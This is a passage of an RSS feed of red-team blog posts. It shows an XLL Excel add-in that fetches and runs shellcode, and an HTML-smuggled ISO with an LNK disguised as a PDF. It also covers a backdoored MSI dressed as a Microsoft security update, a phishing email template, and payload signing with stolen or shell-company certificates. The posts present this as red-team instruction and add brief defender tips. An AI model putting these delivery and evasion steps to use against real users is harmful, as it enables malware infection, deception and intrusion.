persistent cloud access without needing user passwords.</li><li>In April 2025, <a href="https://thehackernews.com/2025/04/russian-hackers-exploit-microsoft-oauth.html"><strong>Russian hackers</strong> exploited Microsoft OAuth applications</a> by registering rogue apps and phishing users for <a href="https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/"><strong>consent grants,</strong></a> bypassing passwords, MFA, and traditional detection.</li><li><strong>APT29 (Cozy Bear)—Famous</strong> for using <strong>consent and permissions phishing</strong> attacks during campaigns targeting government and healthcare sectors, including the 2020 SolarWinds-related operations.</li><li><strong>Midnight Blizzard (Nobelium)—Conducted</strong> sophisticated <strong>OAuth consent phishing</strong> campaigns, creating rogue apps to harvest emails, files, and cloud resources.</li><li><strong>Unattributed Threat Actors—</strong>Regular use of <strong>Evilginx2 and similar MITM phishing kits</strong> to steal session cookies from executives (C-level) in fintech, technology, and defense sectors.</li><li><strong>Crimson Kingsnake</strong> — Utilized <strong>dynamic device phishing</strong> tactics, impersonating legal and financial brands to execute advanced BEC (Business Email Compromise) attacks, bypassing MFA protections.</li></ul><p>These real-world cases show that <strong>advanced phishing campaigns are no longer rare</strong> — they are an essential part of modern APT initial access toolkits, especially against cloud-first and hybrid organizations.</p><h3>Final Thought</h3><p>Mastering modern phishing attacks requires more than spoofed login pages.</p><p>As organizations continue their journey into cloud ecosystems, adversaries are shifting their tactics to attack identity, sessions, and user trust rather than just passwords.<br> Techniques like <strong>Device Code Phishing</strong> and <strong>Consent Grant Attacks</strong> expose the weakness of relying solely on MFA, while <strong>Evilginx2</strong> demonstrates the dangerous potential of live session hijacking.<br> For defenders and red teams alike, understanding and simulating these attack paths is crucial to building true resilience against modern threats.</p><blockquote><strong>Next:</strong> Eyes open — we dive deeper into the shadows, shifting from 2FA bypasses into hardcore credential theft, unleashing Browser-in-the-Browser (BitB) illusions, Click-Fix exploits, and Captcha Copy-Paste traps in Part 8.</blockquote><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85f9adc4dc3b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-7-advanced-phishing-techniques-for-2fa-bypass-85f9adc4dc3b">Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-6-simulated-apt-initial-access-via-excel-xll-bb4aa10ee4ed?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/bb4aa10ee4ed</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 20 Apr 2025 08:53:25 GMT</pubDate>
            <atom:updated>2025-04-28T11:44:05.317Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL Add-in — Malicious DLL Execution Bypassing Macro Restrictions</h3><blockquote>For years, Microsoft Office Macros have been a staple initial access vector in red team operations and real-world APT campaigns. However, Microsoft has made significant efforts to mitigate this risk. Starting in 2022 and continuing into 2023 and 2024, Microsoft progressively <strong>disabled macros by default</strong> for files downloaded from the internet — rendering legacy macro-based payloads nearly obsolete.</blockquote><blockquote>So… are we done with Excel-based payloads?</blockquote><blockquote><strong>Absolutely not.</strong></blockquote><blockquote>Red teamers adapt. That’s what we do.</blockquote><blockquote>In this article, I’ll show you how to <strong>leverage XLL (Excel Add-in) files as a payload delivery method</strong>, bypassing macro restrictions entirely. We’ll break down a real XLL payload that downloads and executes shellcode directly when the .xll is opened in Excel — no macros, no VBA, no warning dialogs.</blockquote><blockquote><strong>📌 Real-world Note:</strong></blockquote><blockquote>This technique is documented in the MITRE ATT&amp;CK framework under sub-technique <a href="https://attack.mitre.org/techniques/T1137/006/">T1137.006: Office Application Startup: Add-ins</a>.<br>APT groups like <a href="https://blog.talosintelligence.com/xlling-in-excel-malicious-add-ins/">TA410</a> and commodity malware like <a href="https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain/">Dridex </a>have used .xll payloads to bypass macro restrictions and achieve stealthy execution.</blockquote><blockquote><a href="https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html">https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29C2IzBWcyIScY9WHcglcg.png" /></figure><h3>Table of Contents</h3><ol><li>Why Did Microsoft Disable Macros?</li><li>What Is an XLL File?</li><li>Why .xll Bypasses Macro Restrictions</li><li>💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL</li><li>Red Teaming Impact</li><li>Defenders, Beware</li><li>Final Thought</li></ol><h3>1. Why Did Microsoft Disable Macros?</h3><p>In response to the <strong>abuse of macros in phishing and malware campaigns</strong>, Microsoft began enforcing stricter controls:</p><ul><li><strong>Macros from the internet are blocked by default</strong> in Office.</li><li>Files flagged with the <strong>Mark of the Web (MoTW)</strong> are opened in Protected View.</li><li>Even in enterprise environments, admins must explicitly enable macros now.</li></ul><p>While this was a major win for defenders, it pushed red teams and threat actors to evolve.</p><p>Enter <strong>XLL files</strong>.</p><h3>2. What Is an XLL File?</h3><p>.xll is an <strong>Excel Add-in</strong> — a compiled binary (DLL) with exported functions that Excel can call. It behaves like a plugin that extends Excel with custom features or functions.</p><p><strong>Why is this interesting?</strong></p><ul><li>XLLs <strong>do not require macros to be enabled</strong>.</li><li>When opened in Excel, XLLs automatically call the xlAutoOpen() function.</li><li>They can contain native code, shellcode loaders, or even reverse shells.</li><li>Antivirus and EDR tools often overlook XLL behavior.</li></ul><p>This makes .xllpayloads a <strong>powerful alternative</strong> to macro-based delivery.</p><p>One disadvantage of XLL files is that they can only be loaded by Excel with the correct bit. For example, a 64-bit XLL can only be loaded by the 64-bit version of Excel. The same goes for 32-bit versions. Therefore, malware authors have to rely on the Excel version that is installed on the victim’s machine.</p><p>Like with VBA macros, Excel will warn the user about the security concern arising from executing the add-in. In that aspect, it has no advantage for malware compared to VBA macros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*gMnL-BIT4NWlOzISZFAoaw.png" /><figcaption>Warning by Excel while trying to execute an XLL file.</figcaption></figure><h3>3. Why .xll Bypasses Macro Restrictions</h3><ul><li><strong>Excel Add-Ins (.xll) are NOT VBA macros.</strong></li><li>They are <strong>compiled native DLLs</strong>, written in C/C++.</li><li>When an .xll is loaded, Excel executes it <strong>automatically</strong> via exported functions like xlAutoOpen() — <em>independently</em> of macro settings.</li></ul><p>📌 <strong>Macro settings in Excel control VBA and XLM macros only</strong>, not native DLLs.</p><h3>4. 💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL</h3><p><strong>Generate shellcode from Sliver and host it to be downloaded and injected</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*MzeLyij4jFY9E5qzpOGSjA.png" /><figcaption><strong>Generate shellcode from Slive</strong></figcaption></figure><p><strong>Open listener</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*hBHouUTH5BsPVQT-k-CNKg.png" /></figure><p>Here’s a working example on my GitHub profile that you can compile into FinancePlugin1.xll. When the user opens this .xll file in Excel, it <strong>downloads shellcode from a remote server and executes it in memory</strong>.</p><p><a href="https://github.com/0xFFF-cmd/AV-EDR-bypass-payloads/blob/main/XLL-payloads/xll-shellcode.cpp">AV-EDR-bypass-payloads/XLL-payloads/xll-shellcode.cpp at main · 0xFFF-cmd/AV-EDR-bypass-payloads</a></p><pre>x86_64-w64-mingw32-g++ -std=c++11 xll_shellcode2.cpp -o FinancePlugin1.xll -shared -lwinhttp -static-libgcc -static-libstdc++ -s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5zB69xfVBmslxV2aH64J7Q.png" /></figure><p><strong>Compiled xll file</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*67dGWamjXc3zIuGIrCfBcQ.png" /></figure><p>Double click to open it and choose enable this add-in for this session only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*0GaXREw7UmlDB-zkgmLsbA.png" /></figure><p>Then the beacon session will start in sliver C2 backend</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*3-Bx6tQN7njy586Jf94kTg.png" /></figure><h3>5. Red Teaming Impact</h3><p><strong>Using </strong><strong>.xll payloads brings several advantages:</strong></p><ul><li>Works when macros are disabled</li><li>Can bypass sandbox and EDR detections</li><li>Doesn’t rely on Office scripting engines</li><li>Easy to deploy with social engineering or phishing campaigns</li></ul><p><strong>Pro tip:</strong></p><ul><li>Sign your .xll file and use a legitimate-looking name like FinanceAnalysisAddin.xll</li><li>To bypass Mark-of-the-Web (MoTW), place the .xll file inside a container such as .zip archive.</li><li>Host your shellcode using TLS (HTTPS) and behind redirector</li><li>Use encryption or obfuscation inside the shellcode buffer with stealth techniques such as system calls.</li></ul><h3>6. Defenders, Beware</h3><p><strong>If you’re a blue teamer or SOC analyst, make sure to:</strong></p><ul><li>Monitor .xll file executions</li><li>Inspect calls to xlAutoOpen</li><li>Block or restrict unknown add-ins from being loaded in Excel</li></ul><h3>7. Final Thought</h3><p>Who said Excel payloads are dead?</p><p>Just because macros are disabled doesn’t mean the war is over. With .xll files, we now have a <strong>macro-less, stealthy, and potent payload vector</strong> to deliver in phishing or targeted red team operations.</p><p>Remember — red teaming is all about adapting to change.</p><p>Excel isn’t dead — we just upgraded.</p><blockquote><strong><em>Next:</em></strong><em> Stay sharp — we’re moving from </em>Malicious DLL Execution Bypassing Macro Restrictions<em> to </em><strong>Advanced Fishing to bypass 2FA through evilginx , Device code phishing, dynamic device code phishing and Consent and Permissions Attacks</strong><em> in Part 7.</em></blockquote><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb4aa10ee4ed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-6-simulated-apt-initial-access-via-excel-xll-bb4aa10ee4ed">Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-5-initial-access-reloaded-red-team-payload-85cc79850a9a?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/85cc79850a9a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 14:52:30 GMT</pubDate>
            <atom:updated>2025-04-20T08:48:25.934Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload Development in the Age of Zero Trust</strong></h3><blockquote>As red teamers simulate modern APTs, we must continuously evolve our initial access techniques to bypass increasingly advanced detection layers. From email security sandboxes to endpoint protection, every defense layer challenges us to operate with greater stealth and precision.</blockquote><blockquote>In Part 5, we dive into payload development and hardening by crafting two advanced delivery scenarios inspired by real APT tradecraft. The <strong>Objective </strong>is to Simulate APT-style payload delivery chains to achieve <strong>Initial Access</strong> by:</blockquote><ul><li>Bypass Mark-of-the-Web (MoTW) protection</li><li>Bypass SmartScreen protection</li><li>Evade email sandboxes</li><li>Escape web proxies and content filters</li><li>Achieve execution with minimal user interaction</li></ul><p>Each scenario is designed to reflect APT-level evasion and initial access techniques, giving you practical insight into how sophisticated threat actors operate — and how you can replicate those behaviors in your simulations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*13FSifnxnSxLS9RRAZoZ4w.png" /></figure><h3><strong>Table of Contents</strong></h3><ol><li>Introduction</li><li>Context: Why This Matters</li><li>Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container &amp; LNK Trigger</li></ol><ul><li>3.1 Generate Your Payload (Sliver C2)</li><li>3.2 Choose a Decoy PDF</li><li>3.3 Create a Trigger .lnk File</li><li>3.4 Build ISO Container with PackMyPayload</li><li>3.5 Wrap ISO in HTML Smuggling</li><li>3.6 Send the HTML Smuggling Link via Email</li></ul><p>4. Scenario 2: Security Update — ZIP Container with Backdoored MSI Installer</p><ul><li>4.1 Build Backdoored MSI</li><li>4.2 Archive in a ZIP Container</li><li>4.3 Create Smuggled HTML Loader</li><li>4.4 Email Template</li></ul><p>5. Lessons from the Trenches</p><p>6. Bypassing Windows SmartScreen Protections via Payload Signing</p><p>7. Modifying Signatures and Attributes to Evade Detection</p><p>8. Final Thoughts</p><h3><strong>2. 🌐 Context: Why This Matters</strong></h3><p>Threat actors targeting the Middle East, especially Saudi Arabia’s fintech and critical infrastructure sectors, have recently deployed similar techniques:</p><ul><li>MuddyWater (APT-C-53) has embedded scripts in documents and fake software updates to deliver backdoors. Source: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a</a></li><li>APT34 (OilRig) and Ghostwriter, also known as <strong>UNC1151 and Storm-0257, </strong>used ISO and ZIP containers to bypass Microsoft’s MoTW-based defenses and have used LNK files and HTML smuggling for credential theft and payload staging. Source: <a href="https://attack.mitre.org/techniques/T1204/002/">https://attack.mitre.org/techniques/T1204/002/</a> and <a href="https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/">https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/</a></li></ul><p>Our scenarios emulate these APT groups to simulate the realistic threat landscape Saudi organizations are facing today.</p><p><em>Note: While no direct public attribution links HTML smuggling + ISO/LNK payload chains to APT34 or UNC1151, these methods are built using tradecraft inspired by multiple APT campaigns observed in the wild.</em></p><h3><strong>3. Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container &amp; LNK Trigger</strong></h3><p>“APT operators don’t send EXEs. They send believable content wrapped in clever packaging.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*CiBAmtmdOOUlCyn0iF81PA.png" /><figcaption>🧪S1: Steps Overview</figcaption></figure><p><strong>Execution Flow:</strong></p><p>1. ISO downloaded via HTML smuggling</p><p>2. User opens ISO &gt; sees only trigger.pdf (actually an LNK)</p><p>3. User clicks LNK &gt; payload runs silently + decoy PDF opens</p><p><strong>🛠️ Chain Creation Workflow</strong></p><h4><strong>3.1</strong> <strong>Generate Your Payload “</strong>Sliver C2”</h4><p>Set up the Sliver C2 listener and generate a payload. Ensure the listener is active and ready to receive new sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UDm16C1ZZODln37E-VAMGw.png" /><figcaption>Generate Silver Payload</figcaption></figure><h4><strong>3.2</strong> <strong>Choose a Decoy PDF</strong></h4><p>Decoy allows the attacker to continue the social engineering context with the user. So instead of running a file, seeing nothing, and getting suspicious, the user sees something that they’re expecting to.</p><p>Below I created a sample PDF named decoy.pdf with sample content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_WU9ijQLPYlQtFHZyg_fjg.png" /><figcaption>PDF Decoy</figcaption></figure><h4><strong>3.3</strong> <strong>Create a Trigger .lnk</strong></h4><p>A <strong>Shell Link (.lnk)</strong> is a special Windows shortcut file format designed to launch programs or files. What makes .lnk files particularly deceptive is that their extensions are hidden in Windows Explorer, even when the “show file extensions” option is enabled. This allows attackers to disguise malicious files with names like contract.pdf.lnk, which appears to the user as just contract.pdf.</p><p><strong>Use PowerShell to craft a .lnk that:</strong></p><p>· Disguises itself as a PDF (via icon and name)</p><p>· Launches both the payload.exe and the decoy.pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*juTgEZBJc8WsNhK8deIuuQ.png" /><figcaption>Create lnk</figcaption></figure><p>Then .lnk file created and when the .lnk file run will trigger payload.exe and will show to the victim decoy.pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*8YK0-KZmAEmVfJ66V7hs9A.png" /><figcaption>Created Lnk file</figcaption></figure><p><strong>Let’s change the icon of trigger.pdf.lnk to appear as a normal PDF file.</strong></p><ul><li>1.<strong> Right-click</strong> on trigger.pdf.lnk and select <strong>Properties</strong>.</li><li>2. Click on the <strong>“Change Icon…”</strong> button.</li><li>3. In the path field, browse to your PDF application. For example, if you’re using <strong>Foxit PDF Reader</strong>, enter the following path: C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe</li><li>4. Select the standard PDF icon from the list and click <strong>OK</strong>. “This makes the .lnk file appear just like a regular PDF document, enhancing the disguise.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4Vcaq9ITfGGkMJjqxMKAIA.png" /><figcaption>Change Lik File Icon</figcaption></figure><p>Place all files (payload, decoy, LNK) in the same directory</p><h4><strong>3.4</strong> <strong>Build ISO Container with PackMyPayload</strong></h4><p>This step is to bundle all the files — the <strong>payload</strong>, <strong>decoy PDF</strong>, and the <strong>trigger (trigger.pdf.lnk)— into</strong> a single <strong>ISO container</strong>. This method offers several advantages:</p><ul><li><strong>Bypasses Mark-of-the-Web (MoTW)</strong>: ISO files opened locally do not apply MoTW by default, helping evade SmartScreen and sandbox restrictions.</li><li><strong>Delivers all components together</strong>: Ensures everything is packaged cleanly for delivery.</li><li><strong>Supports file hiding</strong>: You can hide the payload and decoy inside the ISO, so the victim will only see and interact with the trigger.PDF</li></ul><p>This approach increases stealth and improves the chances of successful execution on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hwDBvELj2j-Mkkzi6DAkUA.png" /><figcaption>Build ISO Container</figcaption></figure><p><strong>Contents of the ISO:</strong></p><ul><li>payload.exe (hidden)</li><li>decoy.pdf (hidden)</li><li>trigger.lnk.pdf(LNK – visible) A shortcut file crafted with a PDF icon and misleading filename (appears as a legitimate PDF to the user). When clicked, it executes the hidden payload and simultaneously opens the decoy PDF to maintain credibility.</li></ul><h4><strong>3.5</strong> <strong>Wrap ISO in HTML Smuggling</strong></h4><p>By delivering the ISO file through JavaScript-based HTML smuggling, the payload can bypass email sandboxes, attachment restrictions, content filtering mechanisms, and proxies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*zLRYaPqAluNw4Yj9fjiOdQ.png" /><figcaption>Wrap ISO in HTML Smuggling</figcaption></figure><h4><strong>3.6</strong> <strong>Send the HTML Smuggling Link via Email</strong></h4><ul><li>Host index.html on a reputable domain</li><li>Craft a phishing email with an internal-looking pretext</li></ul><p><strong>Example Pretexts:</strong></p><ul><li>“🔹 Invoice &amp; Signed Contract — Q2”</li><li>“🔹 Secure Document: Internal Use Only”</li></ul><p><strong>When clicked:</strong></p><ul><li>The ISO is downloaded via HTML smuggling</li><li>When opened, the user sees only the trigger.pdf</li><li>Clicking launches the hidden payload and shows the decoy</li></ul><p>index.html page that will download the file.iso automatically</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3fTHE5A3MXbaaSPRSoRJjg.png" /></figure><p>When a user visitsindex.html, the file.iso is downloaded automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tmj_C-oWmUBDmklKwVr69Q.png" /></figure><p>When file.iso is clicked, it mounts automatically, displaying only trigger.pdf to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*O7FHB7xl7inwnhuUrePYEQ.png" /></figure><p>When trigger.pdf is opened, it launches the hidden payload while displaying a decoy document to avoid suspicion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*o3uah_1USJpPffahQKtY4Q.png" /><figcaption>sliver session opened</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*utd987-3crbU9QWpykDgCg.png" /><figcaption>Normal PDF decoy appears to the user</figcaption></figure><p><strong>🔍 Why It Works</strong></p><ul><li><strong>HTML smuggling</strong> reconstructs payloads on the browser side, bypassing traditional scanners.</li><li><strong>ISO files</strong> bypass MoTW tagging on many Windows versions.</li><li><strong>Shell Links (.lnk)</strong> masquerade as trusted PDFs while executing code.</li><li><strong>Decoy PDF</strong> preserves the social engineering narrative, avoiding suspicion.</li></ul><h3>4. Scenario 2: <strong>Security Update — ZIP Container with Backdoored MSI Installer</strong></h3><p>“Nothing triggers urgency like a security patch.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*0xL604aNsOVg2XesTFaacw.png" /></figure><p><strong>Execution Flow:</strong></p><ol><li>User clicks link &gt; ZIP downloaded via HTML smuggling</li><li>User extracts ZIP &gt; sees “Microsoft Security Update” MSI</li><li>User installs MSI &gt; payload executes silently</li><li>Beacon established &gt; optional decoy installer screen appears</li></ol><p><strong>🛠️ Chain Creation Workflow</strong></p><h4>4.1 Build Backdoored MSI</h4><p>backdoor payload.exe in UpdateInstaller.msi</p><p>To exploit this, we need to package a Sliver payload into an MSI installer that will be installed and executed with SYSTEM privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*U9uCLE8NE1cRUJnDa8RLDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*CTA19nN1gMZ-zoBz9BiJGQ.png" /><figcaption>MIS UpdateInstaller created</figcaption></figure><p>UpdateInstaller.msi after build in release folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4fqLmvH_F2K8-aqHTdftUw.png" /></figure><p>When itUpdateInstaller.msi is executed, the installation process will begin, and the Sliver payload will be executed silently in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*G2PrQSklJ2AuBCLmTpR_aQ.png" /></figure><h4><strong>4.2</strong> <strong>Archive in a ZIP Container</strong></h4><p>The ZIP file is crafted to appear legitimate, using a filename such as Microsoft_Security_Update_KB70121.zip. Inside, it contains a signed-looking UpdateInstaller.msipayload. This approach helps:</p><ul><li>Bypass MoTW</li><li>Evade automated scanners and sandboxes by requiring manual extraction.</li><li>Add a layer of social engineering by mimicking official Microsoft updates.</li><li>Delay detection by blending into common IT workflows or patch management schemes.</li></ul><h4>4.3 <strong>Create Smuggled HTML Loader</strong></h4><p>Develop an HTML page that uses HTML smuggling to bypass security controls and silently drop a ZIP file (e.g., Microsoft_Security_Update_KB70121.zip) to the victim&#39;s device, as illustrated above.</p><h4>4.4 <strong>Email Template</strong></h4><p><strong>🎭 Pretext: </strong>User receives a fake internal email:</p><ul><li>Subject: “URGENT: Microsoft Security Update KB70121” or “Important Security Update for Endpoint Compliance — Action Required”</li><li>Body:</li></ul><p>Dear User,</p><p>A critical Microsoft security update is available for your system. Please install it as soon as possible.</p><p>[Install Update]</p><p>IT Department</p><p><strong>🔍 Why It Works</strong></p><ul><li><strong>ZIP bypasses sandbox</strong> previewing behavior due to extra interaction required.</li><li><strong>MSI appears trusted</strong>, and AV often doesn’t flag well-structured MSI installers.</li><li><strong>Urgency from “Security Update”</strong> pretext increases click-through rates.</li></ul><p>📌 <strong>Hardening Tips</strong>:</p><ul><li>Add digital signature lookalikes</li><li>Bind with legitimate MSI-based installers (ex: 7-Zip)</li><li>Use misleading ProductName in metadata (e.g., “Microsoft Defender Update Tool”)</li></ul><h3><strong>5. Lessons from the Trenches</strong></h3><ul><li><strong>No chain, no gain:</strong> Single-stage payloads are dead in modern environments.</li><li><strong>Red teams must think like vendors</strong> — craft believable, high-quality artifacts.</li></ul><h3>6. Bypassing Windows SmartScreen Protections via Payload Signing</h3><p>A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is <strong>payload signing</strong>. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.</p><h4>Methods for Obtaining Code-Signing Certificates</h4><p>A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is <strong>payload signing</strong>. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.</p><ol><li><strong>Establishing Shell Companies</strong><br> Threat actors may create and register fake or dormant business entities to legitimately acquire code-signing certificates from trusted Certificate Authorities (CAs). Although this approach demands significant time and operational resources, it provides a reliable and stealthy method for signing payloads.</li><li><strong>Leveraging Leaked or Stolen Certificates</strong><br> Compromised certificates can often be found through:</li></ol><ul><li>Data breaches</li><li>Public repositories (e.g., GitHub)</li><li>Misconfigured cloud storage (e.g., public AWS S3 buckets)</li><li>Underground forums or communities (e.g., cheat development sites)<br> These certificates can be repurposed to sign payloads and bypass SmartScreen and other basic defenses.</li></ul><h3>7. Modifying Signatures and Attributes to Evade Detection</h3><p>Beyond legitimate or stolen signing certificates, attackers can also manipulate the metadata of binaries to enhance their legitimacy and evade detection mechanisms.</p><p><strong>Attribute Spoofing</strong></p><p>Attackers can alter binary attributes to mimic those of trusted Microsoft system binaries (e.g., ComSvcConfig.exe). This spoofing increases the perceived trustworthiness of the file and may assist in bypassing both user scrutiny and basic endpoint detection systems.</p><p><strong>Tooling and Automation</strong></p><p>Tools such as <strong>MetaTwin19</strong> can automate the modification of digital signatures and binary metadata, making malicious files appear as if they are signed by Microsoft. This can be particularly effective in bypassing:</p><ul><li>Static signature-based detection</li><li>Basic sandbox analysis</li></ul><h3><strong>8. Final Thoughts</strong></h3><p>These advanced initial access chains blend deception, layering, and anti-analysis tactics to bypass modern defenses. Whether it’s a fake PDF or a security patch, the goal remains the same: establish a beachhead and do it quietly.</p><p>These two delivery scenarios mirror techniques <strong>real APTs</strong> are actively using. For internal red team assessments, using <strong>HTML smuggling + containerized payloads</strong> offers a powerful way to test your organization’s detection controls realistically.</p><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85cc79850a9a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-5-initial-access-reloaded-red-team-payload-85cc79850a9a">Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 4: Advanced OSINT Techniques, Credential…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-4-advanced-osint-techniques-credential-d2a80851a913?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/d2a80851a913</guid>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 16:23:39 GMT</pubDate>
            <atom:updated>2025-02-10T16:23:39.119Z</atom:updated>
